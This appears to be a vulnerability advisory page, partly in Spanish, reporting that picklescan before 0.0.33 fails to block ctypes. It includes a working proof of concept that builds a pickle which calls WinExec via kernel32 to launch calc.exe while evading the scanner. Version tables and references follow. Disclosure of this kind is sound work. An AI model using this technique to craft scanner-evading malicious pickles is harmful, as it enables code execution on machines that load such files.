Picklescan does not block ctypes
Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
- Load DLLs
- Call C functions directly
- Manipulate memory raw pointers.
This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.
This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected
PoC
import pickle
import ctypes
import operator
class Kernel32Loader:
def __reduce__(self):
#we go direct to the kerneeellllllll
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def __reduce__(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def __reduce__(self):
#methodcaller to invoke "__call__" on the function pointer.
return (
operator.methodcaller("__call__", b"calc.exe", 1),
(WinExecGetter(),)
)
try:
payload = pickle.dumps(PopCalc())
with open("calc_exploit.pkl", "wb") as f:
f.write(payload)
print("Generated 'calc_exploit.pkl'")
except Exception as e:
print(f"Generation failed: {e}")
This will create a pickle file which is not detected by the latest version of picklescan as malicious
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | picklescan | < 0.0.33 | 0.0.33 |
Referencias
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r
- https://nvd.nist.gov/vuln/detail/CVE-2025-71323
- https://github.com/mmaitre314/picklescan/pull/53
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
- https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-4675-36f9-wf6r
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-184, CWE-913- Plataforma
- Python (PyPI)
- Paquete
picklescan- Publicada
- 29.12.2025
- Actualizado
- 11.10.2026 13:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-1782 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-4675-36f9-wf6r - CC BY 4.0
Historial de vulnerabilidades: picklescan
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 58
- Primera → última
- 02.2025 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 7
- Alta 25
- Media 26
Divulgaciones por año
- 2025: 51
- 2026: 7
-
Picklescan does not block ctypes esta entrada
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